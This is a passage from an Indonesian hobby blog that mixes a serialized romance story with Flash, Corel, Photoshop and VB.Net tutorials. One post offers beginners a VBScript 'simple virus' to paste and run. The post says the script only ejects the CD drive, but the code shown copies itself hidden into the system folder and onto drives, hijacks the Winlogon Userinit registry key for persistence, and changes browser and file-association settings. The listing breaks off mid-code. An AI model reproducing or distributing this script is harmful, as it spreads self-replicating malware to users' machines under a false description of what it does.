Christian The Lion

Kisah nyata yang terjadi antara Christian (Singa) dan 2 pemiliknya, John Rendall dan Anthony "Ace" Bourke dari Australia. Silahkan simak kisah ini lebih lanjut.

Membuat Design dengan Corel

Corel adalah salah satu software pengolah gambar mulai dari design banguna, tata ruang maupun editing gambar. Kamu tertarik? Yuk, kita belajar Corel bersama!

Membuat Animasi dengan Flash

Sering menonton film kartun di TV? Pengen membuat kartun seperti itu? Dengan flash mimpimu bisa jadi kenyataan, selain itu kita bisa membuat sebuah game. Ayo baca tutorialnya di sini!

Mengenal Bali Lebih Jauh

Bali adalah sebuah pulau di Indonesia dengan sejuta panorama eksotisnya. Pariwisata Bali menjadi andalan di Indonesia. Mari mengenal Bali lebih jauh. Silahkan simak lebih lanjut.

Tanpa Musik Hidup Nggak Asik

Musik? Pasti kamu suka kan? Di sini selain dapat membaca info terbaru, kamu juga bisa download mp3-nya. Asik kan?

Membuat Program dengan Visual Basic

Bagi kamu yang memiliki sebuah komputer atau laptop pasti nggak jauh dari program kan? Nah, dengan vb kalian dapat membuat program - program seperti itu. Pelajari saja di sini!

Saturday, April 30, 2011

Ayu Pancasona Penarik Hati (Bag.3-Habis)



Kebetulan hari ini hari Sabtu yang berarti libur kuliah. Tugas kuliah pun sudah aku selesaikan tadi malam. Ini mungkin saat yang tepat bagiku untuk mencari tahu apa yang dikerjakan Ayu selama ini di Kota. Masih setia dengan sepeda butut, kukayuh pedalnya kuat – kuat. Semakin kencang kecepatan yang kudapat semakin banyak pula peluh yang menetes di dahiku. Sepertinya hari ini Sang Surya tak bersahabat denganku. Tak hanya Sang Surya, Dewi Fortuna juga seakan enggan menemaniku. Ban sepeda bututku tertancap paku dan “door” meledak. Aku oleng dan berhenti setelah menabrak tanaman perdu di pinggir jalan.

Beberapa orang menolongku bangun. Siku tanganku terluka, lecet dan berdarah. Seorang ibu membantuku membersihkan luka dan memberi obat merah. Perih kutahan walau tak seperih perasaanku tempo hari. Ibu itu bertanya,”Darimana nak?”
“Dari rumah bu, di daerah Kulon. Mau mencari alamat ini.” kataku sedikit merintih dan menyodorkan kertas alamat.
“Oh..ini sudah dekat nak, nanti di depan belok kiri. Dari situ jalan lurus terus sekitar 1 kilometer.” jelas ibu itu mengetahuinya.
“Memang ada apa nak?” tambah ibu itu.
“Saya mencari teman saya bu.” jawabku.
“Ya sudah, biar nanti suami ibu yang bantu perbaiki sepeda itu. Sementara itu, pakai sepeda ibu saja dulu.” kata ibu itu berbaik hati.
“Tak usah bu. Saya sudah terlalu banyak merepotkan.” kataku menolak.
“Sudah, nggak apa – apa. Ibu ikhlas koq. Ibu juga punya anak seusia kamu, jadi sudah seperti anak ibu sendiri.” kata ibu itu sambil menyodorkan segelas es teh.
“Terima kasih bu. Alhamdulillah saya bisa bertemu ibu.” kataku memuji dan ibu itu hanya tersenyum.

Setelah rasa perih di siku tangan sedikit mereda dan segelas es teh ludes habis kuminum. Aku berpamitan pada ibu itu.

“Bu, saya pamit dulu mau mencari alamat ini.” seruku.
“Iya nak hati – hati. Ini pakai sepeda ibu.” kata ibu itu.
“Tak usah bu, jalan kaki saja. Lagi pula siku saya masih sakit. Rasanya masih sulit mengendalikan sepeda.” kataku menjelaskan.
“Oh ya sudah. Nanti kesini lagi ya nak? Itu sepedanya sedang diperbaiki bapak.” kata ibu itu sambil tersenyum ikhlas.
“Iya bu. Sebelumnya terima kasih. Assalamualaikum.” kataku meminta diri.
“Iya nak. Sama – sama. Wa’alaikumsalam.” jawab ibu itu.

Hatiku berkata, “Dewi Fortuna memang tidak berpihak padaku. Tapi Allah selalu menjaga dan menolongku. Alhamdulillah. Terima kasih ya Allah.”

Aku melanjutkan langkahku ke alamat yang kutuju. Dan kutemukan sebuah gedung seperti sekolah namun bukan. Di gerbang masuknya tertulis, “TPQ Al-Ihsan” (TPQ adalah Taman Pendidikan Qur’an, sebuah tempat belajar Al-Qur’an yang diakui negara-red). Kucoba masuk ke dalamnya dan bertanya pada salah seorang yang sedang duduk di beranda gedung.

“Permisi. Assalamualaikum. Maaf, saya mau bertanya. Mba kenal Ayu tidak?” tanyaku berharap – harap cemas.
“Ayu yang mana mas? Disini Ayu ada tiga orang.” jelasnya.
“Ayu Pancasona.” jawabku.
“Oh, Ayu yang itu? Sekarang dia sedang mengajar di ruang B mas. Coba saja kesana.” katanya seraya menunjuk sebuah ruang di lantai 2.
“Terima kasih mba.” kataku.

Tak butuh waktu lama aku bergegas menuju ruangan yang dimaksud. Dan aku melihatnya sedang mengajar anak – anak tentang ilmu agama. Leganya. Minimal prasangkaku tentangnya yang dipersunting mas Anto berkurang. Aku duduk di kursi panjang dekat kelas itu. Kulipat – lipat kertas alamat tadi dan kugunakan untuk mengipasi tubuhku yang kepanasan. Beberapa waktu kemudian, pelajaran yang dibawakan Ayu berakhir. Dia keluar dan aku berdiri menyambutnya. Mimik wajahnya mengisyaratkan bahwa dia kaget melihatku ada di tempatnya mengajar. Wajar saja, jarak dari Kulon ke Kota sekitar 25 kilometer.

“Jul? Kamu disini? Ada apa?” tanyanya kebingungan.
“Iya Yu, aku mau bicara.” kataku.
“Tentang apa?” tanyanya.
“Tempo hari, kamu mengajakku mengirimkan sebuah bingkisan untuk mas Anto. Memang dia siapa Yu?” tanyaku memberanikan diri.
“Oh..sebentar ya?” kata Ayu seraya pergi dan memintaku menunggu.
Tak berapa lama dia datang bersama seorang laki – laki. Ayu berkata,”Ini lho yang namanya mas Anto. Dia yang membantuku sehingga aku bisa bekerja di sini. Dia sudah beristri, waktu itu aku diundang datang ke pesta ulang tahunnya. Tetapi aku tidak bisa datang karena harus mengajar anak – anak mengaji di Masjid.” katanya menjelaskan dengan senyum ceria. Aku hanya terdiam malu dan kebingungan.
“Yu, mungkin temanmu ini cemburu. Dia suka kamu mungkin Yu.” kata mas Anto sedikit menggoda.
“Iya mas. Saya minta maaf telah berprasangka buruk. Lagi pula saat itu saya tidak bertanya langsung pada Ayu. Maafkan saya ya mas?” kataku menyesal.
“Iya nggak apa – apa koq. Mas Anto mengerti. Kalau memang kamu punya perasaan sama Ayu, ayo ungkapkan sekarang saja. Daripada nanti diambil orang.” lagi – lagi mas Anto menggoda.
“Ah mas Anto bisa saja.” kataku dan Ayu bersamaan tak sengaja.
“Nah itu, kalian sudah ada kecocokan. Ayo anak muda, nyatakan sekarang.” desak mas Anto sambil tersenyum.
“Emmm..Yu, apa yang mas Anto katakan benar. Aku punya rasa. Aku nggak tahu itu cinta atau apa. Tapi aku hanya ingin menjadi wali Allah untuk menjagamu, membimbingmu dan menjadi pemimpinmu nanti. Kira – kira apa mungkin kamu bersedia menerimaku?” kataku dengan perasaan bercampur baur.
Ayu hanya tersenyum tersipu dan tak kusangka dia mengangguk. Alhamdulillah...


***

Ayu Pancasona Penarik Hati (Bag.2)


Malam sudah semakin larut namun perasaanku galau. Wanita yang selama ini menarik hatiku ternyata telah memiliki kekasih. Seakan aku tak percaya dengan apa yang aku ketahui. Sesekali aku menampar pipiku dan mencubit kulit tanganku. Sakit dan tandanya bukan mimpi. Aku beranjak dari tempat tidurku dan kubuka tirai jendela rumah agar udara dingin malam turut serta mendinginkan hatiku yang mulai panas.

Lirih kuucapkan istigfar mencoba meredam rasa pedih yang kurasa. Dengan jendela masih terbuka, kurebahkan diri di kursi dekat jendela. Aku memejamkan mata dan tak kukira aku tertidur pulas setelahnya.

Esok hari. Ibu marah dan menggedor pintu kamarku. Aku yang kaget langsung beranjak dan tak sengaja kakiku beradu dengan kaki meja di sebelahku. Dengan menahan sakit kubuka pintu kamar. Ibu sudah siap di depan pintu dengan wajah murka namun hanya satu kata yang muncul,”Sholat!”

Dengan mata setengah terpejam aku berjalan mengambil air wudhu dan melaksanakan sholat shubuh. Tak lama aku mandi, makan dan bersiap berangkat kuliah. Lagi – lagi sepeda butut warisan kakek menjadi satu – satunya temanku selama perjalanan. Tak kulihat Ayu di depan rumah, mungkin karena aku sedikit lebih siang dari biasanya. Namun, peduli apa? Aku coba melupakan hal yang telah menyakiti hatiku.

Sore hari saat aku pulang kuliah, aku juga belum melihatnya. Begitu juga di Masjid, dia tak terlihat. Keesokan harinya hal serupa terulang. Aku tak melihatnya, padahal kali ini aku tak bangun kesiangan. Hal itu membuatku semakin penasaran. Sepulang kuliah aku beranikan diri bertanya kepada salah satu pengurus Masjid.

Mas, koq Ayu nggak kelihatan ya mas? Apa dia sakit?” tanyaku.
Oh..Ayu memang sudah dari kemarin tidak mengajar di sini mas.” jawab pengurus Masjid.
Memang kenapa mas?” tanyaku semakin penasaran.
Wah, kalau itu saya kurang tau mas. Coba mas datang saja ke rumahnya.” jawabnya tak tahu. Kemudian aku berpamitan.

Dua hari berselang. Aku putuskan untuk bertamu ke rumahnya. Namun, kudapati rumahnya kosong. Aku coba bertanya ke tetangga sebelah rumahnya.
Bu, permisi. Ayu pergi kemana ya, Bu?” tanyaku.
Ayu kerja mas. Kalo neneknya sedang pergi memijat langganannya.” jawab ibu itu menerangkan.
Kerja dimana ya, Bu?” tanyaku lagi.
Di daerah Kota mas. Tapi saya nggak tahu tepatnya.” jawabnya.
Ya sudah. Terima kasih bu.” kataku seraya pergi berpamitan.

Ini aneh sekali. Kerja apa dia di Kota? Apa jangan – jangan dia sudah dipersunting oleh mas Anto? Pikiranku semakin kacau. Kuputuskan untuk kembali ke Masjid dan bertanya pada ketua kepengurusan Masjid.

Permisi Pak. Assalamualaikum.” kataku datang dengan sopan santun.
Wa’alaikumsalam. Ada apa nak datang kesini?” tanyanya.
Begini pak, saya mau mencari tahu dimana Ayu bekerja. Karena saya ada sedikit keperluan dengannya pak. Mungkin bapak tahu dimana tempat kerjanya yang baru. Bukankah tiap anggota pengurus Masjid tercatat pak?” tanyaku berharap mendapat jawaban yang memuaskan.
Oh ya betul. Memang Ayu bertemu langsung dengan saya dan meminta ijin kepada saya untuk sementara waktu tidak mengajar mengaji disini. Dia sekarang bekerja di daerah Kota, ini alamatnya.” jelasnya seraya menyodorkan secarik kertas.
Terima kasih pak. Mungkin besok saya coba menemuinya disana.” kataku sedikit senang dan kemudian berpamitan kepada bapak itu.

Membuat gambar dengan 2 gambar berbeda

Siapkan dulu 2 gambar berbeda yang akan disatukan. Sebaiknya, gunakan gambar yang memiliki kesamaan bentuk agar saat menyatukannya tidak terlihat janggal.

Langkah pertama, buka dua gambar yang akan disatukan (File > Open > Pilih gambar > Open).
Kemudian satukan gambar dalam 1 frame (Image > Stitch). Setelah itu akan muncul Select Image, pilih Add all dan tekan OK. Agar gambar mudah dicocokkan pilih Difference Tool (berada disudut kanan layar).
Jika sudah dirasa cocok, pilih Create Objects for images dan tekan OK.
Untuk menghapus bagian yang tidak diperlukan dalam gambar, pilih Erase tool dengan nib shape-nya 100. Pastikan gambar yang akan dihapus berada didepan gambar lainnya. Gunakan erase tool melewati dua gambar tersebut sehingga secara otomatis bagian yang terlewati Erase Tool hilang.
Kemudian potong bagian gambar yang tidak diperlukan dengan Crop Tool. Crop bagian yang ingin ditampilkan dan tekan Enter. Berikut hasilnya.
Selamat mencoba. Semoga bermanfaat.

Membuat Loading Sederhana

Pasti teman – teman pernah melihat tampilan loading pada boot screen Windows kan? Pada tutorial kali ini kita akan belajar membuat loading seperti itu, atau nantinya loading ini bisa ditambahkan pada project flash teman – teman.

Pertama, kita buka flash file baru atau Ctrl+N kemudian pilih Flash File (Actionscript 2.0). Kemudian buatlah sebuah loader frame (bingkainya) menggunakan rectangle tool, seperti contoh berikut.



Setelah gambar terbentuk seperti contoh di atas, seleksi semua bagian loader frame dengan Selection Tool kemudian klik kanan pada salah satu sisi gambar terseleksi, pilih Convert to Symbol. Pilih Movie Clip sebagai Type dan beri nama Loader_Frame klik OK.


Sekarang kita akan membuat loader-nya. Caranya buatlah sebuah kotak persegi panjang sepanjang Loader_Frame menggunakan Rectangle Tool, atau sebagai berikut.



Kemudian, klik kanan pada gambar tersebut, pilih Convert to Symbol. Pilih Movie Clip sebagai Type dan beri nama Loader klik OK. Jika loader sudah jadi, klik dua kali pada Loader. Kemudian buat layer baru, pada layer baru (Layer 2) buatlah sebuah kotak kecil (warna bebas) dan letakkan di samping kiri Loader seperti contoh berikut ini.


Kemudian klik kanan pada frame ke 30, pilih Insert Key Frame dan pindahkan kotak kecil tadi ke sebelah kanan Loader. Masih di layer 2, klik kanan pada frame 1 kemudian pilih Create Motion Tween. Langkah terakhir, klik kanan pada layer 2 dan pilih Mask dan atur posisi Loader agar berada di belakang Loader_Frame.

Berikut hasil akhirnya.


Thursday, April 28, 2011

Ayu Pancasona Penarik Hati (Bag.1)



Ayu Pancasona tidak hanya sekedar nama. Nama itu mewakili kecantikan pemiliknya. Aku biasa memanggilnya Ayu. Dia gadis 20 tahun yang sudah lama ditinggal mati ibunya. Kini ia hanya tinggal bersama neneknya yang seorang dukun pijat. Sementara ayahnya, pergi entah kemana. Hidup tanpa ayah dan ibu tidak lantas membuatnya patah arah. Dia tetap bersemangat merajut sedikit demi sedikit cita – citanya menjadi seorang guru walau hanya menjadi guru mengaji di Masjid dekat rumahnya. Dia harus putus sekolah sejak lulus SMP karena alasan biaya, namun dia tidak serta merta membuat hidupnya tidak berarti.

Sore itu aku melihatnya sedang mengajari anak 7 sampai 10 tahun mengaji di Masjid dekat rumah. Kesabaran dan kedekatannya dengan anak – anak membuatku tertarik untuk mengetahuinya lebih jauh. Awalnya hanya rasa penasaran yang menggelayut di benakku namun kini sudah berubah menjadi kekaguman. Usai ia mengajar mengaji, aku panggil namanya dan mengajakknya berbincang di pos dekat Masjid.

“Assalamualaikum Ayu.” sapaku ramah.
“Eh, kamu. Wa’alaikumsalam.” balasnya dengan senyum manis menggantung.
“Yu, boleh ngobrol sebentar nggak?” ajakku berharap.
“Emmm..gimana ya? Aku harus segera pulang. Aku takut nenek mengkhawatirkanku. Atau kamu mau mampir ke rumahku?” katanya lemah lembut.
“Aduh..lain kali saja ya, Yu? Aku malu.” kataku tersipu.
“Kamu ini gimana? Bertamu koq malu? Tapi berduaan di pos seperti ini nggak malu? Ya udah, aku pulang dulu ya? Assalamualaikum.” katanya sedikit bercanda.
“Iya iya..Wa’alaikumsalam.” kataku tersenyum kecut.

Dari situ kekagumanku terhadap Ayu kian bertambah. Tidak hanya cantik rupanya, namun hatinya juga cantik. Aku tersenyum sendiri menertawakan kebodohanku di depan Ayu. “Hancur sudah reputasiku di depannya.” kataku dalam hati.

Hari berganti. Pagi itu saat aku menuntun sepeda bututku, aku melihatnya sedang menyapu di depan rumah. Ingin kusapa namun takut mengganggunya. Akhirnya aku putuskan untuk memalingkan wajahku. Tak disangka dia memanggilku. Diiringi langkah kecil terburu – buru dia mendekatiku.

“Jul. Tunggu.” dia memanggil seraya berlari kecil. Aku hanya menoleh dan memandang lari anggunnya. Dengan nafas tersengal dia bertanya, “Kamu mau kemana?”
“Aku mau berangkat kuliah, Yu. Ada apa?” jawabku dan berbalik tanya.
“Emm..nanti sore bisa antar aku ke kantor pos nggak? Pliss..” pintanya.
Wajah manisnya membuatku tak sanggup menolak pintanya, “Ya Insya Allah nanti sore. Memang ada apa?”
“Aku mau mengirimkan sesuatu buat mas Anto. Hari ini dia ulang tahun.” katanya terlihat girang.
“Mas Anto? Siapa dia? Setahuku dia tak punya kakak atau saudara bernama Anto. Apa mungkin dia kekasih Ayu?” dalam hatiku bertanya – tanya.
“Oh, ya sudah nanti sore aku ke rumahmu, Yu.” kataku masih tak mengerti.
“Makasih ya Jul. Kalau mau berangkat, silahkan.” katanya melepasku dengan senyuman.
“Assalamualaikum.” salamku seraya pergi dengan mimik penasaran.
“Wa’alaikumsalam.” jawabnya dengan lambaian kecil.

Sore hari. Benar aku menepati pintanya. Dengan busana batik andalanku dan celana kain dengan warna sedikit pudar aku datang ke rumahnya. Minyak melati tak lupa kusemprotkan di bawah ketiak agar tercium segar olehnya. Kuketuk pintunya 3 kali dan kuucapkan salam. Dia menyambutku dengan ramah dan sudah siap dengan pakaian rapi dan elok. Ditangannya sudah terselip sebuah bungkusan besar bermotif hati. Kecurigaanku seakan semakin terjawab, mungkin benar mas Anto adalah kekasihnya. Walau perasaanku sedikit hancur namun aku tetap menunjukkan sikap tenang.

Membuat virus sederhana dengan VBS

Sebenarnya virus ini tergolong ringan karena hanya akan membuat Optical Drive seperti CD Room atau DVD Room akan eject sendiri tanpa kita perintah. Script yang aku tampilkan juga sudah banyak tersedia di blog atau web – web lainnya, hanya saja kurang jelasnya isi tulisan membuat pemula bingung harus mulai dari mana.

Berikut aku beri tahu bagaimana membuat virus sederhana ini.

Pertama, siapkan notepad dan copy paste script di bawah ini.

Option Explicit

On Error Resume Next

Dim Fso, Shells, SystemDir, WinDir, Count, File, Drv, Drives, InDrive, ReadAll, AllFile, WriteAll, Del, Chg
Set Fso = CreateObject(“Scripting.FileSystemObject”)
Set Shells = CreateObject(“Wscript.Shell”)
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir = Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(Wscript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.Drives
Set ReadAll = File.OpenAsTextStream(1, -2)

Do While Not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbCrLf
Loop
Count = Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(SystemDir & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(SystemDir & “\killVBS.vbs”)
WriteAll.Attributes = -1
End If
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”, SystemDir & “\userinit.exe,” & _
SystemDir & “\wscript.exe ” & SystemDir & “\killVBS.vbs
For Each Drives In InDrive

If Drives.DriveType = 2 Then
LookVBS “inf”, Drives.Path & “\”
LookVBS “INF”, Drives.Path & “\”
End If

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path <> “A:” Then
Shells.Regdelete “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”, “”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “”
Shells.RegWrite “HKCR\vbsfile\DefaultIcon”, “&percnt;SystemRoot&percnt;\System32\WScript.exe,2″
LookVBS “vbs”, WinDir & “\”
LookVBS “vbs”, Drives.Path & “\”
If Drives.DriveType = 1 Then
If Drives.Path <> “A:” Then
If Not Fso.FileExists(Drives.Path & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close

Membuat Captcha dengan vb.net

Saat ini hampir semua aplikasi web menggunakan captcha sebagai salah satu syarat untuk melakukan registrasi menjadi member sebuah web. Captcha merupakan singkatan dari "Completely Automated Public Turing test to tell Computers and Humans Apart". Bentuk dari captcha bermacam – macam, namun mayoritas menggunakan sebuah kombinasi tulisan atau huruf yang diacak.

Dengan VB.Net kita dapat membuat captcha ini sebagai alternatif password pada project VB.Net kita. Berikut cara membuatnya.

1. Buat New Project (Windows Application) dengan sebuah form baru yang berisi:

Picture Box dengan nama PictureBox1. Picture box ini nantinya akan menampung image captcha yang dihasilkan oleh program.

Text box dengan nama Textbox1. Text box ini nantinya akan menampung teks masukan dari user untuk diuji apakan sesuai dengan captcha atau tidak.

Command button dengan nama Button2. Command button ini digunakan untuk membandingkan apakah captcha pada picture box dan teks yang dimasukkan pada text box sesuai atau tidak.



2. Deklarasi yang diperlukan dalam membuat aplikasi captcha ini adalah sebagai berikut:

Public Class Form1


Dim DrawingFont As New Font("Arial", 20)
Dim CaptchaImage As New Bitmap(140, 40)
Dim CaptchaGraf As Graphics = Graphics.FromImage(CaptchaImage)
Dim Alphabet As String = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz"
Dim CaptchaString, TickRandom As String
Dim ProcessNumber As Integer


3. Berikutnya adalah sub rutin untuk menghasilkan captcha. Banyaknya karakter yang dihasilkan dalam captcha adalah sebanyak 5 dengan kombinasi huruf besar, huruf kecil dan angka.


Private Sub GenerateCaptcha()
ProcessNumber = My.Computer.Clock.LocalTime.Millisecond
If ProcessNumber < 521 Then
ProcessNumber = ProcessNumber \ 10
CaptchaString = Alphabet.Substring(ProcessNumber, 1)
Else
CaptchaString = CStr(My.Computer.Clock.LocalTime.Second \ 6)
End If
ProcessNumber = My.Computer.Clock.LocalTime.Second
If ProcessNumber < 30 Then
ProcessNumber = Math.Abs(ProcessNumber - 8)
CaptchaString += Alphabet.Substring(ProcessNumber, 1)
Else
CaptchaString += CStr(My.Computer.Clock.LocalTime.Minute \ 6)
End If
ProcessNumber = My.Computer.Clock.LocalTime.DayOfYear
If ProcessNumber Mod 2 = 0 Then
ProcessNumber = ProcessNumber \ 8
CaptchaString += Alphabet.Substring(ProcessNumber, 1)
Else
CaptchaString += CStr(ProcessNumber \ 37)
End If
TickRandom = My.Computer.Clock.TickCount.ToString
ProcessNumber = Val(TickRandom.Substring(TickRandom.Length - 1, 1))
If ProcessNumber Mod 2 = 0 Then
CaptchaString += CStr(ProcessNumber)
Else
ProcessNumber = Math.Abs(Int(Math.Cos(Val(TickRandom)) * 51))
CaptchaString += Alphabet.Substring(ProcessNumber, 1)
End If
ProcessNumber = My.Computer.Clock.LocalTime.Hour
If ProcessNumber Mod 2 = 0 Then
ProcessNumber = Math.Abs(Int(Math.Sin(Val(My.Computer.Clock.LocalTime.Year)) * 51))
CaptchaString += Alphabet.Substring(ProcessNumber, 1)
Else
CaptchaString += CStr(ProcessNumber \ 3)
End If
ProcessNumber = My.Computer.Clock.LocalTime.Millisecond
If ProcessNumber > 521 Then
ProcessNumber = Math.Abs((ProcessNumber \ 10) - 52)
CaptchaString += Alphabet.Substring(ProcessNumber, 1)
Else
CaptchaString += CStr(My.Computer.Clock.LocalTime.Second \ 6)
End If
CaptchaGraf.Clear(Color.White)

For hasher As Integer = 0 To 5
CaptchaGraf.DrawString(CaptchaString.Substring(hasher, 1), DrawingFont, Brushes.Black, hasher * 20 + hasher + ProcessNumber \ 200, (hasher Mod 3) * (ProcessNumber \ 200))
Next
PictureBox1.Image = CaptchaImage
End Sub



4. Event-event yang perlu dicegah adalah event untuk load form dan klik pada button2.


Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
GenerateCaptcha()
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If TextBox1.Text = "" Then Exit Sub
If TextBox1.Text = CaptchaString Then
MsgBox("The string is correct." + Chr(13) + "Try another captcha.", MsgBoxStyle.Information)
TextBox1.Clear()
GenerateCaptcha()
Else
MsgBox("The string is incorrect.", MsgBoxStyle.Exclamation)
TextBox1.Clear()
GenerateCaptcha()
End If
End Sub


Private Sub TextBox1_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox1.KeyPress
If e.KeyChar = Chr(13) Then Button2.PerformClick()
End Sub


5. Tampilan yang didapatkan adalah sebagai berikut :

Wednesday, April 27, 2011

MAINTENANCE



I’m sorry about this inconvience.
I'm doing maintenance on the menu to make it operate optimally.
Please come again soon.

Saya mohon maaf atas ketidaknyamanan ini.
Saya sedang melakukan perawatan pada menu ini agar dapat berfungsi maksimal.
Silahkan kunjungi beberapa waktu lagi.

 

Membuah Dekorasi Pernikahan Sederhana

Pada tutorial ini kita akan belajar membuat dekorasi pernikahan secara sederhana. Ada beberapa langkah yang harus kita lakukan untuk membuat dekorasi tersebut.
  1. Buat dulu backgroundnya sebagai gordyn dengan rectangle tool dan warnai dengan fill tool > texture fill dialog, pilih warna yang sesuai.


  1. Buat tiang menggunakan rectangle tool dengan tinggi yang berbeda dan warnai dengan fountain fill dialog, kemudian percantik dengan menambahkan bentuk bulat (menggunakan Ellipse Tool) di ujung tiang dan tempatkan di sisi kanan dan kiri.


  1. Buatlah penghubung antar tiang dengan menggunakan rectangle tool, kemudian tumpuk masing - masing penghubung dan satukan menggunakan fungsi weld (Arrange > Shaping > Weld).

  1. Tempatkan masing - masing penghubung pada tiang - tiang yang telah kita buat.


  1. Letakkan sebuah kotak dengan menggunakan rectangle tool dan warnai dengan Pattern Fill Dialog sesuai keinginanmu. Serta tambahkan bentuk setengah lingkaran diatas kotak tersebut (buat lingkaran dengan Ellipse Tool dan potong pada bagian tengahnya dengan Knife Tool) warnai dengan Fountain Fill Dialog, Type = Radial.


  1. Tambahkan sebuah dekorasi dengan rectangle tool dan text tool seperti terlihat pada gambar.


  1. Langkah terakhir berilah hiasan dengan Artistic Media Tool agar terlihat lebih meriah.



Demikian tutorial membuat dekorasi pernikahan, kamu bisa berkreasi sendiri sesuai dengan keinginanmu. Semoga tutorial ini bermanfaat.

Quiz Parampaa


Quiz Parampaa merupakan sebuah game flash yang sangat menghibur, selain itu game ini lebih mengedepankan logika untuk menjawab setiap pertanyaannya.

Jika kamu mengaku punya logika yang kuat, jangan sombong dulu sebelum menyelesaikan game sebanyak 100 level ini.

Game produksi Terapi Design ini menjadi flash games yang aku sarankan kepada pembaca untuk mengisi waktu luang.

Membuat Animasi Bendera

Pasti temen – temen pernah melihat animasi bendera seperti ini kan ?



Nah, pada tutorial kali ini kita akan belajar tentang bagaimana sih caranya membuat animasi bendera seperti itu?
Yuk, ikuti langkah – langkah dibawah ini :
  1. Bukalah sebuah Flash File (ActionScript 2.0), disini penulis menggunakan Adobe Flash CS3.
  2. Kemudian buatlah sebuah bendera dengan rectangle tool seperti gambar berikut ini.

  1. Untuk melengkungkan bagian tepi bendera sebaiknya stroke color dalam posisi no color, kemudian lengkungkan tepi bendera seperti gambar disamping (sorotkan pada tepi bendera cursor hingga muncul ikon lengkung dibawah cursor). Ubah gambar tersebut menjadi movie clip (klik kanan pada objek > Convert to Symbol..pilih Movie Clip sebagai Type dan beri nama Bendera).
  2. Kemudian seleksi bendera dan tekan Ctrl+D sehingga muncul gambar bendera yang sama, tempatkan bendera kedua tepat disamping bendera pertama seperti gambar berikut.

  1. Untuk menambah efek gelap terang pada bendera, buatlah sebuah persegi yang menutupi sebagian gambar bendera dengan rectangle tool, kemudian pada tab color ( Window > Color, muncul dipojok kanan layar) stroke color = no color, sementara fill color = pilih linear sebagai type, kemudian sisi kanan dan kiri diberi warna putih dengan alpha 0%, sementara sisi tengah diberi warna hitam dengan alpha 50%. Kemudian buat persegi yang sama untuk menutupi sebagian gambar bendera lainnya. Sehingga seperti gambar dibawah ini.

  1. Untuk membuat animasinya, buatlah sebuah persegi dengan warna bebas kemudian ubahlah menjadi movie clip dan beri nama Bendera_Anim.
  2. Double click movie clip Bendera_Anim, kemudian tempatkan movie clip Bendera pada layer baru di bawah layer Bendera_Anim. Lihat Gambar.
  1. Sehingga gambar bertumpuk seperti gambar berikut.


  1. Kemudian beri Motion Tween (klik kanan pada frame > Create Motion Tween) pada layer bendera. Pada frame terakhir tempatkan movie Clip Bendera seperti gambar berikut.


  1. Untuk mempercantik tampilan, buatlah tiang bendera seperti gambar berikut.


  1. Tahap terakhir, masukkan animasi bendera tadi dan cocokkan dengan tiang bendera yang telah kita buat.


Selamat mencoba, semoga berhasil. Silahkan kembangkan animasi berikut dengan membuat beberapa animasi bendera sesuai kreasimu.

Membuat Header Website

Ketika kita membuka sebuah website pastilah kita akan menemukan header yang dapat menarik perhatian netter yang mengunjungi halaman tersebut.
Salah satu fungsi photoshop sebagai perangkat lunak gambar adalah dapat digunakan untuk membuat header sebuah website.
Namun, membuat sebuah header website tidak sembarangan. Ada syarat – syarat yang harus dipenuhi, antara lain :

  • Ukuran Header template website, biasanya berkisar antara 720 – 760 px lebarnya, untuk standar panjang nya 150 -200 px.
  • Nama file header template website kita (biasanya header.jpg).
  • Text judulnya berada disisi mana, ini gunanya untuk menempatkan gambar supaya tidak tertimpa oleh Text.
  • Tema website nya apa ( misal : photography, computer, camera, celebrity, dll).
  • Warna dasar website.

Nah, kalau syarat diatas sudah diketahui, maka cara membuat headernya adalah sebagai berikut :

1. Membuat dokumen baru sesuai ukurannya.
Tujuan mengetahui tema website adalah untuk mencari gambar-gambar yang berkaitan dengan website. Silahkan mencari gambar di Google Images ketikan keywordnya , misal photography > hasil bisa pilih beberapa yang berhubungan dengan photography.

2. Buka salah satu gambar untuk diedit sebelum dimasukan ke dokumen header.

Gunakan rectangle marquee tool untuk menyeleksi bagian sisi gambar, ini tujuannya untuk membuat batas putih di setiap sisi.
Klik Select > Inverse sehingga yang terseleksi sekarang adalah selain seleksi sebelumnya. Delete deh..

Tekan CTRL+ D untuk menghilangkan seleksi..
Drag ( Klik + Tahan + tarik ) gambar camera tadi ke dalam dokumen header baru.

Putar (rotate), modifikasi ukuran gambar ( resize) secara manual, sehingga terlihat menarik. Misalkan Text di template website / website nya berada kiri, maka ditempatkan gambarnya di kanan.
Untuk pemberian efek, cukup dengan memberi bayangan atau menggunakan DROP Shadow.
Klik 2x layer 1 atau klik kanan > blending Option.

Klik Ok.
Untuk mempermudah pemberian efek yang sama untuk gambar yang lainnya, Klik kanan layer 1 > copy layer style.

Sekarang ulangi langkah mengedit gambar, kemudian drag ke dokumen header.
Untuk pemberian efek, cukup klik kanan di gambar yang mau diberi efek > Paste layer style.
hasilnya sebagai berikut :

Untuk pemberian warna background supaya sesuai tema, tinggal klik Layer background, warnai dengan Paint Bucket tool atau gradient tool.

Hasil akhirnya :

Error Handling (Membuat error pada project menjadi sebuah message box)

